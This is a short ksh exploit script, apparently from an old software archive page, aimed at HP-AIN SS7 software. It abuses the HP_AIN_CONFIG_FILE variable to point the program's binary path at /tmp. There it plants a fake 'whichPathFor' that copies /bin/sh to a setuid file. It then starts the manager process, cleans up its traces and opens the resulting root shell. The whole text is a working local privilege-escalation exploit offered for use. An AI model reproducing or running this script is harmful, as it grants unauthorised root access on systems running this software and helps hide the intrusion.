home *** CD-ROM | disk | FTP | other *** search
- #!/bin/ksh
-
- if [[ -a /tmp/shell ]]
- then
- rm -f /tmp/shell
- fi
- HP=$HP_AIN_CONFIG_FILE
- echo "bins = /tmp\n" > /tmp/config
- mkdir /tmp/SS7
- mkdir /tmp/SS7/bin
- echo "cp /bin/sh /tmp/shell ; chmod 4755 /tmp/shell ;
- /opt/HP-AIN/SS7/bin/whichPathFor $*" > /tmp/SS7/bin/whichPathFor
- chmod +x /tmp/SS7/bin/whichPathFor
- export HP_AIN_CONFIG_FILE=/tmp/config
- ST=$$
- startmanager > /dev/null &
- sleep 2
- kill `expr $ST + 5`
- export HP_AIN_CONFIG_FILE=$HP
- rm -rf /tmp/SS7
- rm -f /tmp/config
- echo "A root shell from the Alps ...\n"
- /tmp/shell